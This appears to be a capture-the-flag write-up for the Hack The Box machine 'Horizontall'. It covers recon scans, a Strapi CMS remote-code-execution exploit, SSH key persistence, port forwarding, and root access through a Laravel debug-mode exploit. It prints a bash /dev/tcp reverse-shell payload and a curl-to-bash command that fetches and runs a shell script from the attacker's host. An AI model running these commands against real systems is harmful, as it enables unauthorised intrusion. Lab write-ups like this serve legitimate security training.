Enumeration

Before we start enumeration, let’s add IP 10.10.11.105 to /etc/hosts as horizontall.htb

/etc/hosts:

10.10.11.105    horizontall.htb

Initial Scans

Nmap Scan

# Nmap 7.91 scan initiated Thu Dec 30 19:29:02 2021 as: nmap -vv --reason -Pn --min-rate=10000 -sV -sC --version-all -oN /home/fakebatman/CTFs/htb/machines/horizontall/results/horizontall.htb/scans/_quick_tcp_nmap.txt -oX /home/fakebatman/CTFs/htb/machines/horizontall/results/horizontall.htb/scans/xml/_quick_tcp_nmap.xml horizontall.htb
Increasing send delay for 10.10.11.105 from 0 to 5 due to 223 out of 743 dropped probes since last increase.
Warning: 10.10.11.105 giving up on port because retransmission cap hit (10).
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up, received user-set (0.046s latency).
Scanned at 2021-12-30 19:29:02 EST for 13s
Not shown: 995 closed ports
Reason: 995 conn-refused
PORT     STATE    SERVICE REASON      VERSION
22/tcp   open     ssh     syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL2qJTqj1aoxBGb8yWIN4UJwFs4/UgDEutp3aiL2/6yV2iE78YjGzfU74VKlTRvJZWBwDmIOosOBNl9nfmEzXerD0g5lD5SporBx06eWX/XP2sQSEKbsqkr7Qb4ncvU8CvDR6yGHxmBT8WGgaQsA2ViVjiqAdlUDmLoT2qA3GeLBQgS41e+TysTpzWlY7z/rf/u0uj/C3kbixSB/upkWoqGyorDtFoaGGvWet/q7j5Tq061MaR6cM2CrYcQxxnPy4LqFE3MouLklBXfmNovryI0qVFMki7Cc3hfXz6BmKppCzMUPs8VgtNgdcGywIU/Nq1aiGQfATneqDD2GBXLjzV
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyw6WbPVzY28EbBOZ4zWcikpu/CPcklbTUwvrPou4dCG4koataOo/RDg4MJuQP+sR937/ugmINBJNsYC8F7jN0=
|   256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJqmDVbv9RjhlUzOMmw3SrGPaiDBgdZ9QZ2cKM49jzYB
80/tcp   open     http    syn-ack     nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1BA2AE710D927F13D483FD5D1E548C9B
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 19:29:15 2021 -- 1 IP address (1 host up) scanned in 13.57 seconds
  • Only port 22, 80 are open

ffuf scans

$ ffuf -u http://horizontall.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -ic -of html -o f_big.html

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Output file      : f_big.html
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

img                     [Status: 301, Size: 194, Words: 7, Lines: 8]
                        [Status: 200, Size: 901, Words: 43, Lines: 2]
css                     [Status: 301, Size: 194, Words: 7, Lines: 8]
js                      [Status: 301, Size: 194, Words: 7, Lines: 8]
                        [Status: 200, Size: 901, Words: 43, Lines: 2]
:: Progress: [220547/220547] :: Job [1/1] :: 1422 req/sec :: Duration: [0:02:57] :: Errors: 0 ::
  • No interesting directories/files found.
  • Going through the source code also did not yield anything interesting, so I had to dive deeper.

Diving deeper into source code

  • The source code has link to various JS files. So taking a look at those, one file http://horizontall.htb/js/app.c68eb462.js
  • Search through those files for http:// links, hoping to find some interesting sub directory / sub domain, I found api-prod subdomain.

Fuzzing for directories on api-prod

Before we fuzz, let’s add IP 10.10.11.105 to /etc/hosts as api-prod.horizontall.htb

/etc/hosts:

10.10.11.105    horizontall.htb api-prod.horizontall.htb
$ ffuf -u http://api-prod.horizontall.htb/FUZZ -ic -c -w /usr/share/wordlists/dirb/common.txt -of html -o f_api_prod_common.html

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://api-prod.horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Output file      : f_api_prod_common.html
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

                        [Status: 200, Size: 413, Words: 76, Lines: 20]
admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
ADMIN                   [Status: 200, Size: 854, Words: 98, Lines: 17]
favicon.ico             [Status: 200, Size: 1150, Words: 4, Lines: 1]
index.html              [Status: 200, Size: 413, Words: 76, Lines: 20]
robots.txt              [Status: 200, Size: 121, Words: 19, Lines: 4]
reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
:: Progress: [4614/4614] :: Job [1/1] :: 1055 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

/admin stands out. Visiting admin reveals that it is housing a login page for CMS called strapi at http://api-prod.horizontall.htb/admin/auth/login

Checking for vulnerabilities

Visiting /admin/init we get version number. Version: "strapiVersion":"3.0.0-beta.17.4"

This version is vulnerable to RCE. (Source: https://www.exploit-db.com/exploits/50239)

Downloading and running the exploit:

$ python3 50239.py http://api-prod.horizontall.htb/

This exploit let’s us run commands on system. Let’s try to get a reverse shell.

Getting a reverse shell

We setup a netcat listener on port 443 (sudo nc -nlvp 443). Our normal payload does not work and does not yield a shell.

Payload:

bash -c "bash -i >& /dev/tcp/10.10.14.115/443 0>&1"

So pasting this command to a file shell.sh and running a Simple HTTP server in that directory using sudo python3 -m http.server 80

Then we try to curl our shell.sh and pipe over to bash so that bash can execute our shell.sh and give us a reverse shell.

$ curl http://10.10.14.13/shell.sh | bash

and we get a reverse shell

And then we can get the user.txt flag.

Post Exploit Enumeration

Active ports

Logging in SSH

Inside ~ (/opt/strapi), we can make .ssh directory and add our public key, so that we can login using SSH instead of running the exploit again and again.

strapi@horizontall:~$ ls -la | grep .ssh
ls -la | grep .ssh
drwx------  2 strapi strapi 4096 Jan  3 23:39 .ssh

Generate keys (can be on our local machine)

strapi@horizontall:~/.ssh$ ssh-keygen -f id_rsa

Then we have two files:

strapi@horizontall:~/.ssh$ ssh-keygen -f id_rsa
ssh-keygen -f id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Generating public/private rsa key pair.
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:DAAaCnPxTt07FSQ7UePvcADqdlsJjJMRz05hCC75Rb0 strapi@horizontall
The key\'s randomart image is:
+---[RSA 2048]----+
|+ +oo.++*o=      |
|o= + +.@.B o     |
|o o + O X.+      |
|   = o *E= +     |
|    o o S + o    |
|     . . + +     |
|        .   .    |
|                 |
|                 |
+----[SHA256]-----+

Copying the contents of id_rsa.pub to authorized_keys

strapi@horizontall:~/.ssh$ cat id_rsa.pub >> authorized_keys
cat id_rsa.pub > authorized_keys

strapi@horizontall:~/.ssh$ ls -l
ls -l
total 12
-rw-rw-r-- 1 strapi strapi  400 Jan  4 19:17 authorized_keys
-rw------- 1 strapi strapi 1675 Jan  4 19:17 id_rsa
-rw-r--r-- 1 strapi strapi  400 Jan  4 19:17 id_rsa.pub

Changing the permissions of the files:

strapi@horizontall:~/.ssh$ chmod 600 authorized_keys
chmod 600 authorized_keys
strapi@horizontall:~/.ssh$ chmod 600 id_rsa
chmod 600 id_rsa
strapi@horizontall:~/.ssh$ chmod 600 id_rsa.pub
chmod 600 id_rsa.pub

And then we cat the id_rsa file and copy it to our local machine. Then, we change the permission of that file as well.

$ chmod 600 id_rsa

Checking for open ports

We can check for ports open on the machine using this command.

strapi@horizontall:~/$ ss -tulpn

There is port 8000 open (internally) and it hosts a website. Since we cannot access it externally, we will use SSH to forward our queries to this port

Local port forwarding using SSH

The following commands forwards all the requests on our localhost and port 9000 to the remote host -> horizontall.htb:8000.

$ ssh -L 9000:localhost:8000 -i id_rsa strapi@horizontall.htb

Checking for open ports on our local machine and we can see that we have port 9000 open

So when we visit http://localhost:9000, all the requests would be forwarded to http://horizontall.htb:8000/

Privilege Escalation

Remote Port 8000 - Enumeration

The version that is running is: Laravel v8 (PHP v7.4.18)

Looking for exploits

The version Laravel v8 (PHP v7.4.18) is vulnerable to RCE if it is running in debug more. More about RCE here

There is exploit available for this RCE at exploit-db.com -> (https://www.exploit-db.com/exploits/49424)

Exploiting Laravel

Before we start exploiting, let’s see if this is actually vulnerable ie if this still runs in debug mode.

Sending a GET request to -> http://localhost:9000/_ignition/execute-solution -> reveals that debug mode is ON. That means this is exploitable.

We gonna download the RCE from exploit-db. (https://www.exploit-db.com/exploits/49424) and run it.

We will be using the shell.sh file we created to get the user shell and use it to get the root shell as well. Setting up reverse shell on port 443 as sudo nc -nlvp 443

Running the exploit:

$ python3 49424.py http://localhost:9000 /home/developer/myproject/storage/logs/laravel.log 'curl http://10.10.14.49/shell.sh | bash'

And we get a shell on our listener. We are root. Yay!